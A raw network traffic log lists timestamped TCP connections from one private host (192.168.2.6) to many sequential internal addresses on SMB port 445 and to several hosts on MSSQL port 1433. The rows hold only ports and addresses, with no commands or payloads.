Jul 6, 2024 14:11:35.646300077 CEST	445	52541	192.168.4.9	192.168.2.6
Jul 6, 2024 14:11:35.648432970 CEST	445	52540	192.168.3.136	192.168.2.6
Jul 6, 2024 14:11:35.648442030 CEST	445	52540	192.168.3.136	192.168.2.6
Jul 6, 2024 14:11:35.650880098 CEST	52541	445	192.168.2.6	192.168.4.9
Jul 6, 2024 14:11:35.650880098 CEST	52541	445	192.168.2.6	192.168.4.9
Jul 6, 2024 14:11:35.653958082 CEST	52544	445	192.168.2.6	192.168.4.10
Jul 6, 2024 14:11:35.660377979 CEST	445	52544	192.168.4.10	192.168.2.6
Jul 6, 2024 14:11:35.660554886 CEST	52544	445	192.168.2.6	192.168.4.10
Jul 6, 2024 14:11:35.660554886 CEST	52544	445	192.168.2.6	192.168.4.10
Jul 6, 2024 14:11:35.664331913 CEST	52548	445	192.168.2.6	192.168.4.11
Jul 6, 2024 14:11:35.665596962 CEST	445	52541	192.168.4.9	192.168.2.6
Jul 6, 2024 14:11:35.665738106 CEST	52541	445	192.168.2.6	192.168.4.9
Jul 6, 2024 14:11:35.666126966 CEST	52546	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:35.668488979 CEST	52545	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:35.668528080 CEST	445	52544	192.168.4.10	192.168.2.6
Jul 6, 2024 14:11:35.668646097 CEST	445	52544	192.168.4.10	192.168.2.6
Jul 6, 2024 14:11:35.669394970 CEST	52544	445	192.168.2.6	192.168.4.10
Jul 6, 2024 14:11:35.671053886 CEST	445	52548	192.168.4.11	192.168.2.6
Jul 6, 2024 14:11:35.671111107 CEST	52548	445	192.168.2.6	192.168.4.11
Jul 6, 2024 14:11:35.673015118 CEST	445	52546	192.168.1.235	192.168.2.6
Jul 6, 2024 14:11:35.673526049 CEST	52546	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:35.673526049 CEST	52546	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:35.677753925 CEST	445	52548	192.168.4.11	192.168.2.6
Jul 6, 2024 14:11:35.677799940 CEST	52548	445	192.168.2.6	192.168.4.11
Jul 6, 2024 14:11:35.678636074 CEST	52548	445	192.168.2.6	192.168.4.11
Jul 6, 2024 14:11:35.679934025 CEST	52552	445	192.168.2.6	192.168.4.12
Jul 6, 2024 14:11:35.680588007 CEST	52550	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:35.680605888 CEST	445	52545	192.168.1.234	192.168.2.6
Jul 6, 2024 14:11:35.683792114 CEST	445	52548	192.168.4.11	192.168.2.6
Jul 6, 2024 14:11:35.684163094 CEST	52549	445	192.168.2.6	192.168.3.137
Jul 6, 2024 14:11:35.684926987 CEST	445	52552	192.168.4.12	192.168.2.6
Jul 6, 2024 14:11:35.684982061 CEST	52552	445	192.168.2.6	192.168.4.12
Jul 6, 2024 14:11:35.685060024 CEST	52552	445	192.168.2.6	192.168.4.12
Jul 6, 2024 14:11:35.685909986 CEST	445	52550	192.168.1.236	192.168.2.6
Jul 6, 2024 14:11:35.686347008 CEST	52545	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:35.686347008 CEST	52545	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:35.688524961 CEST	52550	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:35.688524961 CEST	52550	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:35.689524889 CEST	445	52549	192.168.3.137	192.168.2.6
Jul 6, 2024 14:11:35.689781904 CEST	52549	445	192.168.2.6	192.168.3.137
Jul 6, 2024 14:11:35.689781904 CEST	52549	445	192.168.2.6	192.168.3.137
Jul 6, 2024 14:11:35.689892054 CEST	445	52552	192.168.4.12	192.168.2.6
Jul 6, 2024 14:11:35.689935923 CEST	52552	445	192.168.2.6	192.168.4.12
Jul 6, 2024 14:11:35.690176010 CEST	445	52552	192.168.4.12	192.168.2.6
Jul 6, 2024 14:11:35.691289902 CEST	445	52545	192.168.1.234	192.168.2.6
Jul 6, 2024 14:11:35.694144964 CEST	445	52545	192.168.1.234	192.168.2.6
Jul 6, 2024 14:11:35.694649935 CEST	52553	445	192.168.2.6	192.168.3.139
Jul 6, 2024 14:11:35.695072889 CEST	52555	445	192.168.2.6	192.168.3.138
Jul 6, 2024 14:11:35.695631981 CEST	52554	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:35.695672035 CEST	445	52546	192.168.1.235	192.168.2.6
Jul 6, 2024 14:11:35.695688963 CEST	445	52546	192.168.1.235	192.168.2.6
Jul 6, 2024 14:11:35.695719004 CEST	445	52550	192.168.1.236	192.168.2.6
Jul 6, 2024 14:11:35.695820093 CEST	445	52550	192.168.1.236	192.168.2.6
Jul 6, 2024 14:11:35.696511030 CEST	445	52549	192.168.3.137	192.168.2.6
Jul 6, 2024 14:11:35.696520090 CEST	445	52549	192.168.3.137	192.168.2.6
Jul 6, 2024 14:11:35.696566105 CEST	52549	445	192.168.2.6	192.168.3.137
Jul 6, 2024 14:11:35.697530031 CEST	52557	445	192.168.2.6	192.168.4.13
Jul 6, 2024 14:11:35.701291084 CEST	445	52553	192.168.3.139	192.168.2.6
Jul 6, 2024 14:11:35.701797009 CEST	445	52555	192.168.3.138	192.168.2.6
Jul 6, 2024 14:11:35.702625036 CEST	445	52554	192.168.1.237	192.168.2.6
Jul 6, 2024 14:11:35.703083992 CEST	445	52549	192.168.3.137	192.168.2.6
Jul 6, 2024 14:11:35.703962088 CEST	52554	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:35.703962088 CEST	52554	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:35.704071045 CEST	445	52557	192.168.4.13	192.168.2.6
Jul 6, 2024 14:11:35.704668999 CEST	52553	445	192.168.2.6	192.168.3.139
Jul 6, 2024 14:11:35.704668999 CEST	52553	445	192.168.2.6	192.168.3.139
Jul 6, 2024 14:11:35.704668999 CEST	52555	445	192.168.2.6	192.168.3.138
Jul 6, 2024 14:11:35.704668999 CEST	52555	445	192.168.2.6	192.168.3.138
Jul 6, 2024 14:11:35.706598043 CEST	52557	445	192.168.2.6	192.168.4.13
Jul 6, 2024 14:11:35.706598043 CEST	52557	445	192.168.2.6	192.168.4.13
Jul 6, 2024 14:11:35.711426973 CEST	445	52553	192.168.3.139	192.168.2.6
Jul 6, 2024 14:11:35.711436033 CEST	445	52553	192.168.3.139	192.168.2.6
Jul 6, 2024 14:11:35.711445093 CEST	445	52555	192.168.3.138	192.168.2.6
Jul 6, 2024 14:11:35.711731911 CEST	445	52555	192.168.3.138	192.168.2.6
Jul 6, 2024 14:11:35.712397099 CEST	52559	445	192.168.2.6	192.168.4.14
Jul 6, 2024 14:11:35.712431908 CEST	445	52554	192.168.1.237	192.168.2.6
Jul 6, 2024 14:11:35.712440968 CEST	445	52554	192.168.1.237	192.168.2.6
Jul 6, 2024 14:11:35.714802027 CEST	52555	445	192.168.2.6	192.168.3.138
Jul 6, 2024 14:11:35.714917898 CEST	445	52557	192.168.4.13	192.168.2.6
Jul 6, 2024 14:11:35.714963913 CEST	52557	445	192.168.2.6	192.168.4.13
Jul 6, 2024 14:11:35.719316959 CEST	445	52559	192.168.4.14	192.168.2.6
Jul 6, 2024 14:11:35.719610929 CEST	52559	445	192.168.2.6	192.168.4.14
Jul 6, 2024 14:11:35.719610929 CEST	52559	445	192.168.2.6	192.168.4.14
Jul 6, 2024 14:11:35.724474907 CEST	445	52555	192.168.3.138	192.168.2.6
Jul 6, 2024 14:11:35.725807905 CEST	52560	445	192.168.2.6	192.168.3.140
Jul 6, 2024 14:11:35.725847006 CEST	52562	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:35.725900888 CEST	52563	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:35.725975037 CEST	52564	445	192.168.2.6	192.168.3.142
Jul 6, 2024 14:11:35.726154089 CEST	52561	445	192.168.2.6	192.168.3.141
Jul 6, 2024 14:11:35.726268053 CEST	52565	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:35.726392984 CEST	445	52559	192.168.4.14	192.168.2.6
Jul 6, 2024 14:11:35.726583958 CEST	445	52559	192.168.4.14	192.168.2.6
Jul 6, 2024 14:11:35.729688883 CEST	52566	445	192.168.2.6	192.168.4.15
Jul 6, 2024 14:11:35.731607914 CEST	445	52560	192.168.3.140	192.168.2.6
Jul 6, 2024 14:11:35.731618881 CEST	445	52562	192.168.1.238	192.168.2.6
Jul 6, 2024 14:11:35.731699944 CEST	52560	445	192.168.2.6	192.168.3.140
Jul 6, 2024 14:11:35.731736898 CEST	445	52563	192.168.1.239	192.168.2.6
Jul 6, 2024 14:11:35.731745958 CEST	445	52564	192.168.3.142	192.168.2.6
Jul 6, 2024 14:11:35.731755018 CEST	445	52561	192.168.3.141	192.168.2.6
Jul 6, 2024 14:11:35.731818914 CEST	52564	445	192.168.2.6	192.168.3.142
Jul 6, 2024 14:11:35.731924057 CEST	52561	445	192.168.2.6	192.168.3.141
Jul 6, 2024 14:11:35.731924057 CEST	52564	445	192.168.2.6	192.168.3.142
Jul 6, 2024 14:11:35.731981993 CEST	52561	445	192.168.2.6	192.168.3.141
Jul 6, 2024 14:11:35.732283115 CEST	52559	445	192.168.2.6	192.168.4.14
Jul 6, 2024 14:11:35.732472897 CEST	445	52565	192.168.1.240	192.168.2.6
Jul 6, 2024 14:11:35.732953072 CEST	52562	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:35.732953072 CEST	52563	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:35.732953072 CEST	52562	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:35.732953072 CEST	52565	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:35.732953072 CEST	52565	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:35.736764908 CEST	445	52566	192.168.4.15	192.168.2.6
Jul 6, 2024 14:11:35.737457991 CEST	52566	445	192.168.2.6	192.168.4.15
Jul 6, 2024 14:11:35.737457991 CEST	52566	445	192.168.2.6	192.168.4.15
Jul 6, 2024 14:11:35.738755941 CEST	445	52564	192.168.3.142	192.168.2.6
Jul 6, 2024 14:11:35.738765955 CEST	445	52560	192.168.3.140	192.168.2.6
Jul 6, 2024 14:11:35.738831043 CEST	52564	445	192.168.2.6	192.168.3.142
Jul 6, 2024 14:11:35.738909960 CEST	445	52561	192.168.3.141	192.168.2.6
Jul 6, 2024 14:11:35.738946915 CEST	52560	445	192.168.2.6	192.168.3.140
Jul 6, 2024 14:11:35.740091085 CEST	445	52562	192.168.1.238	192.168.2.6
Jul 6, 2024 14:11:35.740098953 CEST	445	52565	192.168.1.240	192.168.2.6
Jul 6, 2024 14:11:35.741280079 CEST	52562	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:35.742932081 CEST	445	52564	192.168.3.142	192.168.2.6
Jul 6, 2024 14:11:35.742942095 CEST	445	52561	192.168.3.141	192.168.2.6
Jul 6, 2024 14:11:35.742953062 CEST	445	52562	192.168.1.238	192.168.2.6
Jul 6, 2024 14:11:35.743283033 CEST	445	52563	192.168.1.239	192.168.2.6
Jul 6, 2024 14:11:35.743293047 CEST	445	52565	192.168.1.240	192.168.2.6
Jul 6, 2024 14:11:35.743305922 CEST	52568	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:35.743346930 CEST	52563	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:35.743786097 CEST	52570	445	192.168.2.6	192.168.4.16
Jul 6, 2024 14:11:35.744446993 CEST	445	52566	192.168.4.15	192.168.2.6
Jul 6, 2024 14:11:35.744508028 CEST	52566	445	192.168.2.6	192.168.4.15
Jul 6, 2024 14:11:35.744544029 CEST	445	52564	192.168.3.142	192.168.2.6
Jul 6, 2024 14:11:35.748087883 CEST	445	52562	192.168.1.238	192.168.2.6
Jul 6, 2024 14:11:35.748097897 CEST	445	52568	192.168.1.241	192.168.2.6
Jul 6, 2024 14:11:35.748151064 CEST	52568	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:35.749217033 CEST	445	52570	192.168.4.16	192.168.2.6
Jul 6, 2024 14:11:35.749279976 CEST	52570	445	192.168.2.6	192.168.4.16
Jul 6, 2024 14:11:35.751972914 CEST	52568	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:35.754805088 CEST	445	52570	192.168.4.16	192.168.2.6
Jul 6, 2024 14:11:35.757170916 CEST	52573	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:35.757199049 CEST	445	52568	192.168.1.241	192.168.2.6
Jul 6, 2024 14:11:35.757299900 CEST	445	52568	192.168.1.241	192.168.2.6
Jul 6, 2024 14:11:35.759805918 CEST	52572	445	192.168.2.6	192.168.3.144
Jul 6, 2024 14:11:35.761487007 CEST	52570	445	192.168.2.6	192.168.4.16
Jul 6, 2024 14:11:35.761487007 CEST	52570	445	192.168.2.6	192.168.4.16
Jul 6, 2024 14:11:35.761487007 CEST	52571	445	192.168.2.6	192.168.3.143
Jul 6, 2024 14:11:35.761487007 CEST	52574	445	192.168.2.6	192.168.4.17
Jul 6, 2024 14:11:35.762029886 CEST	445	52573	192.168.1.242	192.168.2.6
Jul 6, 2024 14:11:35.762768984 CEST	52568	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:35.764698982 CEST	445	52572	192.168.3.144	192.168.2.6
Jul 6, 2024 14:11:35.765264988 CEST	52572	445	192.168.2.6	192.168.3.144
Jul 6, 2024 14:11:35.765264988 CEST	52572	445	192.168.2.6	192.168.3.144
Jul 6, 2024 14:11:35.767807007 CEST	445	52568	192.168.1.241	192.168.2.6
Jul 6, 2024 14:11:35.770492077 CEST	445	52570	192.168.4.16	192.168.2.6
Jul 6, 2024 14:11:35.770502090 CEST	445	52571	192.168.3.143	192.168.2.6
Jul 6, 2024 14:11:35.770610094 CEST	445	52574	192.168.4.17	192.168.2.6
Jul 6, 2024 14:11:35.772505045 CEST	52576	445	192.168.2.6	192.168.3.145
Jul 6, 2024 14:11:35.773444891 CEST	52578	445	192.168.2.6	192.168.4.18
Jul 6, 2024 14:11:35.773696899 CEST	52573	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:35.773696899 CEST	52573	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:35.774883032 CEST	52571	445	192.168.2.6	192.168.3.143
Jul 6, 2024 14:11:35.774883032 CEST	52571	445	192.168.2.6	192.168.3.143
Jul 6, 2024 14:11:35.774883032 CEST	52574	445	192.168.2.6	192.168.4.17
Jul 6, 2024 14:11:35.774883032 CEST	52574	445	192.168.2.6	192.168.4.17
Jul 6, 2024 14:11:35.777663946 CEST	445	52576	192.168.3.145	192.168.2.6
Jul 6, 2024 14:11:35.778443098 CEST	445	52578	192.168.4.18	192.168.2.6
Jul 6, 2024 14:11:35.779824018 CEST	52576	445	192.168.2.6	192.168.3.145
Jul 6, 2024 14:11:35.779824018 CEST	52576	445	192.168.2.6	192.168.3.145
Jul 6, 2024 14:11:35.779824018 CEST	52578	445	192.168.2.6	192.168.4.18
Jul 6, 2024 14:11:35.779824018 CEST	52578	445	192.168.2.6	192.168.4.18
Jul 6, 2024 14:11:35.781042099 CEST	445	52572	192.168.3.144	192.168.2.6
Jul 6, 2024 14:11:35.781285048 CEST	445	52572	192.168.3.144	192.168.2.6
Jul 6, 2024 14:11:35.787190914 CEST	445	52573	192.168.1.242	192.168.2.6
Jul 6, 2024 14:11:35.787683010 CEST	445	52573	192.168.1.242	192.168.2.6
Jul 6, 2024 14:11:35.789113045 CEST	52580	445	192.168.2.6	192.168.4.19
Jul 6, 2024 14:11:35.789659023 CEST	445	52571	192.168.3.143	192.168.2.6
Jul 6, 2024 14:11:35.789666891 CEST	445	52571	192.168.3.143	192.168.2.6
Jul 6, 2024 14:11:35.790513039 CEST	445	52574	192.168.4.17	192.168.2.6
Jul 6, 2024 14:11:35.791393042 CEST	445	52576	192.168.3.145	192.168.2.6
Jul 6, 2024 14:11:35.791409016 CEST	445	52576	192.168.3.145	192.168.2.6
Jul 6, 2024 14:11:35.791418076 CEST	445	52578	192.168.4.18	192.168.2.6
Jul 6, 2024 14:11:35.791457891 CEST	52578	445	192.168.2.6	192.168.4.18
Jul 6, 2024 14:11:35.792256117 CEST	445	52578	192.168.4.18	192.168.2.6
Jul 6, 2024 14:11:35.792725086 CEST	52574	445	192.168.2.6	192.168.4.17
Jul 6, 2024 14:11:35.797101021 CEST	445	52580	192.168.4.19	192.168.2.6
Jul 6, 2024 14:11:35.797291040 CEST	52580	445	192.168.2.6	192.168.4.19
Jul 6, 2024 14:11:35.804016113 CEST	52582	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:35.804172993 CEST	52584	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:35.804194927 CEST	52583	445	192.168.2.6	192.168.3.147
Jul 6, 2024 14:11:35.804301023 CEST	52585	445	192.168.2.6	192.168.3.146
Jul 6, 2024 14:11:35.805613995 CEST	52587	445	192.168.2.6	192.168.4.20
Jul 6, 2024 14:11:35.806844950 CEST	52580	445	192.168.2.6	192.168.4.19
Jul 6, 2024 14:11:35.808621883 CEST	52581	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:35.809067965 CEST	445	52582	192.168.1.245	192.168.2.6
Jul 6, 2024 14:11:35.809166908 CEST	445	52584	192.168.1.243	192.168.2.6
Jul 6, 2024 14:11:35.809376955 CEST	52584	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:35.809376955 CEST	52584	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:35.809417009 CEST	445	52583	192.168.3.147	192.168.2.6
Jul 6, 2024 14:11:35.809468031 CEST	52583	445	192.168.2.6	192.168.3.147
Jul 6, 2024 14:11:35.809531927 CEST	52583	445	192.168.2.6	192.168.3.147
Jul 6, 2024 14:11:35.810168982 CEST	445	52585	192.168.3.146	192.168.2.6
Jul 6, 2024 14:11:35.810225964 CEST	52585	445	192.168.2.6	192.168.3.146
Jul 6, 2024 14:11:35.810280085 CEST	52585	445	192.168.2.6	192.168.3.146
Jul 6, 2024 14:11:35.810648918 CEST	52582	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:35.810648918 CEST	52582	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:35.810686111 CEST	445	52587	192.168.4.20	192.168.2.6
Jul 6, 2024 14:11:35.810756922 CEST	52587	445	192.168.2.6	192.168.4.20
Jul 6, 2024 14:11:35.810821056 CEST	52587	445	192.168.2.6	192.168.4.20
Jul 6, 2024 14:11:35.815558910 CEST	445	52580	192.168.4.19	192.168.2.6
Jul 6, 2024 14:11:35.815567017 CEST	445	52581	192.168.1.244	192.168.2.6
Jul 6, 2024 14:11:35.815594912 CEST	445	52583	192.168.3.147	192.168.2.6
Jul 6, 2024 14:11:35.815623045 CEST	445	52585	192.168.3.146	192.168.2.6
Jul 6, 2024 14:11:35.815709114 CEST	52580	445	192.168.2.6	192.168.4.19
Jul 6, 2024 14:11:35.815803051 CEST	52581	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:35.815803051 CEST	52581	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:35.816112995 CEST	445	52583	192.168.3.147	192.168.2.6
Jul 6, 2024 14:11:35.816123962 CEST	445	52582	192.168.1.245	192.168.2.6
Jul 6, 2024 14:11:35.816169977 CEST	445	52585	192.168.3.146	192.168.2.6
Jul 6, 2024 14:11:35.819523096 CEST	52588	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:35.820632935 CEST	52590	445	192.168.2.6	192.168.4.21
Jul 6, 2024 14:11:35.835973024 CEST	52592	445	192.168.2.6	192.168.4.22
Jul 6, 2024 14:11:35.847220898 CEST	445	52582	192.168.1.245	192.168.2.6
Jul 6, 2024 14:11:35.847229958 CEST	445	52587	192.168.4.20	192.168.2.6
Jul 6, 2024 14:11:35.847351074 CEST	52587	445	192.168.2.6	192.168.4.20
Jul 6, 2024 14:11:35.847665071 CEST	445	52584	192.168.1.243	192.168.2.6
Jul 6, 2024 14:11:35.850702047 CEST	52593	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:35.850780010 CEST	52594	445	192.168.2.6	192.168.3.149
Jul 6, 2024 14:11:35.850862980 CEST	52595	445	192.168.2.6	192.168.3.150
Jul 6, 2024 14:11:35.850996971 CEST	52596	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:35.851022959 CEST	52597	445	192.168.2.6	192.168.3.148
Jul 6, 2024 14:11:35.852585077 CEST	52599	445	192.168.2.6	192.168.4.23
Jul 6, 2024 14:11:35.867217064 CEST	52600	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.868761063 CEST	445	52581	192.168.1.244	192.168.2.6
Jul 6, 2024 14:11:35.868802071 CEST	445	52588	192.168.1.246	192.168.2.6
Jul 6, 2024 14:11:35.868809938 CEST	52602	445	192.168.2.6	192.168.4.24
Jul 6, 2024 14:11:35.868822098 CEST	445	52590	192.168.4.21	192.168.2.6
Jul 6, 2024 14:11:35.868881941 CEST	52588	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:35.868896008 CEST	52590	445	192.168.2.6	192.168.4.21
Jul 6, 2024 14:11:35.869020939 CEST	52588	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:35.869076014 CEST	52603	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.869144917 CEST	445	52592	192.168.4.22	192.168.2.6
Jul 6, 2024 14:11:35.869317055 CEST	52590	445	192.168.2.6	192.168.4.21
Jul 6, 2024 14:11:35.869848013 CEST	52592	445	192.168.2.6	192.168.4.22
Jul 6, 2024 14:11:35.869848967 CEST	52592	445	192.168.2.6	192.168.4.22
Jul 6, 2024 14:11:35.870469093 CEST	445	52593	192.168.1.247	192.168.2.6
Jul 6, 2024 14:11:35.870923996 CEST	445	52594	192.168.3.149	192.168.2.6
Jul 6, 2024 14:11:35.870933056 CEST	445	52595	192.168.3.150	192.168.2.6
Jul 6, 2024 14:11:35.870942116 CEST	445	52596	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:35.870950937 CEST	445	52597	192.168.3.148	192.168.2.6
Jul 6, 2024 14:11:35.870968103 CEST	445	52599	192.168.4.23	192.168.2.6
Jul 6, 2024 14:11:35.872114897 CEST	445	52584	192.168.1.243	192.168.2.6
Jul 6, 2024 14:11:35.872123957 CEST	1433	52600	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.873580933 CEST	52593	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:35.873580933 CEST	52593	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:35.873727083 CEST	445	52602	192.168.4.24	192.168.2.6
Jul 6, 2024 14:11:35.873922110 CEST	445	52581	192.168.1.244	192.168.2.6
Jul 6, 2024 14:11:35.873986959 CEST	445	52588	192.168.1.246	192.168.2.6
Jul 6, 2024 14:11:35.873996019 CEST	1433	52603	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.874722004 CEST	52594	445	192.168.2.6	192.168.3.149
Jul 6, 2024 14:11:35.874722004 CEST	52597	445	192.168.2.6	192.168.3.148
Jul 6, 2024 14:11:35.874722004 CEST	52594	445	192.168.2.6	192.168.3.149
Jul 6, 2024 14:11:35.874722004 CEST	52599	445	192.168.2.6	192.168.4.23
Jul 6, 2024 14:11:35.874722004 CEST	52597	445	192.168.2.6	192.168.3.148
Jul 6, 2024 14:11:35.874722004 CEST	52599	445	192.168.2.6	192.168.4.23
Jul 6, 2024 14:11:35.874959946 CEST	445	52588	192.168.1.246	192.168.2.6
Jul 6, 2024 14:11:35.875262022 CEST	445	52590	192.168.4.21	192.168.2.6
Jul 6, 2024 14:11:35.875365973 CEST	445	52592	192.168.4.22	192.168.2.6
Jul 6, 2024 14:11:35.875504017 CEST	52600	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.875504017 CEST	52600	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.875504017 CEST	52590	445	192.168.2.6	192.168.4.21
Jul 6, 2024 14:11:35.875879049 CEST	445	52590	192.168.4.21	192.168.2.6
Jul 6, 2024 14:11:35.878511906 CEST	52592	445	192.168.2.6	192.168.4.22
Jul 6, 2024 14:11:35.880163908 CEST	52603	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.882584095 CEST	52595	445	192.168.2.6	192.168.3.150
Jul 6, 2024 14:11:35.882584095 CEST	52596	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:35.882584095 CEST	52596	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:35.883654118 CEST	445	52594	192.168.3.149	192.168.2.6
Jul 6, 2024 14:11:35.883680105 CEST	445	52594	192.168.3.149	192.168.2.6
Jul 6, 2024 14:11:35.883688927 CEST	445	52597	192.168.3.148	192.168.2.6
Jul 6, 2024 14:11:35.883697033 CEST	445	52597	192.168.3.148	192.168.2.6
Jul 6, 2024 14:11:35.883806944 CEST	445	52599	192.168.4.23	192.168.2.6
Jul 6, 2024 14:11:35.886383057 CEST	445	52593	192.168.1.247	192.168.2.6
Jul 6, 2024 14:11:35.886569977 CEST	445	52593	192.168.1.247	192.168.2.6
Jul 6, 2024 14:11:35.886815071 CEST	1433	52600	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.886929989 CEST	52600	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.887927055 CEST	52604	445	192.168.2.6	192.168.4.25
Jul 6, 2024 14:11:35.888334990 CEST	445	52595	192.168.3.150	192.168.2.6
Jul 6, 2024 14:11:35.888380051 CEST	52595	445	192.168.2.6	192.168.3.150
Jul 6, 2024 14:11:35.888434887 CEST	445	52596	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:35.888478041 CEST	52596	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:35.888577938 CEST	445	52596	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:35.890563011 CEST	52602	445	192.168.2.6	192.168.4.24
Jul 6, 2024 14:11:35.890563011 CEST	52602	445	192.168.2.6	192.168.4.24
Jul 6, 2024 14:11:35.893687963 CEST	1433	52603	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.893743038 CEST	445	52604	192.168.4.25	192.168.2.6
Jul 6, 2024 14:11:35.893753052 CEST	445	52596	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:35.894280910 CEST	52604	445	192.168.2.6	192.168.4.25
Jul 6, 2024 14:11:35.894280910 CEST	52604	445	192.168.2.6	192.168.4.25
Jul 6, 2024 14:11:35.895330906 CEST	52597	445	192.168.2.6	192.168.3.148
Jul 6, 2024 14:11:35.895330906 CEST	52599	445	192.168.2.6	192.168.4.23
Jul 6, 2024 14:11:35.895330906 CEST	52605	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.896337032 CEST	52603	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.896337986 CEST	52603	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.897011042 CEST	52607	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.897012949 CEST	52608	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.897519112 CEST	52609	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:35.897762060 CEST	52611	445	192.168.2.6	192.168.3.152
Jul 6, 2024 14:11:35.897922993 CEST	52612	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:35.898165941 CEST	52614	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:35.899051905 CEST	445	52602	192.168.4.24	192.168.2.6
Jul 6, 2024 14:11:35.899106979 CEST	52602	445	192.168.2.6	192.168.4.24
Jul 6, 2024 14:11:35.899585009 CEST	445	52602	192.168.4.24	192.168.2.6
Jul 6, 2024 14:11:35.900361061 CEST	52613	445	192.168.2.6	192.168.3.153
Jul 6, 2024 14:11:35.900888920 CEST	52617	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.901083946 CEST	52610	445	192.168.2.6	192.168.3.151
Jul 6, 2024 14:11:35.901120901 CEST	1433	52603	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.901300907 CEST	445	52604	192.168.4.25	192.168.2.6
Jul 6, 2024 14:11:35.901846886 CEST	1433	52607	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.901899099 CEST	1433	52608	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.901918888 CEST	52607	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.901947021 CEST	52608	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.901995897 CEST	52608	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.902065992 CEST	445	52597	192.168.3.148	192.168.2.6
Jul 6, 2024 14:11:35.902075052 CEST	1433	52605	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.902111053 CEST	52607	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.902435064 CEST	445	52609	192.168.1.249	192.168.2.6
Jul 6, 2024 14:11:35.902445078 CEST	52616	445	192.168.2.6	192.168.4.26
Jul 6, 2024 14:11:35.902491093 CEST	52609	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:35.902580023 CEST	52609	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:35.902723074 CEST	445	52611	192.168.3.152	192.168.2.6
Jul 6, 2024 14:11:35.902775049 CEST	52611	445	192.168.2.6	192.168.3.152
Jul 6, 2024 14:11:35.902834892 CEST	52611	445	192.168.2.6	192.168.3.152
